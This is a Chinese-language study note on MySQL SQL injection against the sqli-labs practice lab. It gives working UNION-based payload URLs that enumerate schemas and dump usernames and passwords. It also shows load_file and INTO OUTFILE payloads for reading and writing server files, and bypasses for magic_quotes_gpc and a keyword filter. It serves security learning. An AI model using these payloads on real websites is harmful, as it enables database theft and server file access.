0x1:
mysql高权限注入:说白了就是root权限最高 可以看到mysql里面所有的数据库 ,而 单个用户 只能看到自己用户里面的数据库
root
数据库A=网站A=数据库用户A
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C
第一步获取数据库名字
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
第二步获取指定数据库security下的表的名字
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20%20union%20%20select%20%201,group_concat(table_name),3 from information_schema.tables where table_schema= security
第三步获取指定数据库security下的users表下面的列(最好清晰的指定数据库名字 通过and 在where里面 怕出现 不同数据库相同的表 造成判断失误)
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20%20union%20%20select%20%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27
第四步获取用户名密码 (数据库清晰,表清晰,列名清晰)
直接查询出来
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20%20union%20%20select%20%201,group_concat(username),group_concat(password)%20from%20security.users
0x2:文件读写
读:
mysql> select load_file('E:\stud.txt');
括号里面可以采用拖拽的形式但是!!必须加上单引号!!
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,load_file('e:/1.txt')
写:
mysql> select 'x' into outfile 'c:/into outfile text.txt';
将x写到文件'c:/into outfile text.txt' 里面!!! .0
将1,x,3 写入 到e盘下的11.txt中(11.txt必须为唯一不能重名)由于sql语句存在 limit 故 需要 --+ 进行注释
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20%20union%20%20select%20%201,%27x%27,3%20into%20outfile%27e:\11.txt%27--+
关于 注释 /**/
mysql> select id/*11111,username*/ from users;
11111的意思是1.11.11版本的mysql
大致意义是如果版本号>=1.11.11版本 就会执行注释里面的内容
如果"!"后面不加上版本号mysql就会执行全部的语句
网站路径的获取方法 :遗留文件 如php
网站路径的获取方法 :漏洞报错_爆路径
注入防御--> 魔术引号 magic_quotes_gpc
反斜线(\)、单引号(')、双引号(")、NULL 字符都会被自动加上一个反斜线进行转义,这和 addslashes() 作用完全相同
当然也可以绕过 通过 将路径转换为16进制进行绕过
注意:不用单引号包裹 因为已经声明为16进制 0x
在php源码中编写str_replace 将select 替换为fuck
str_replace('select','fuck',$id);
效果:
绕过方法:将写成大写的即可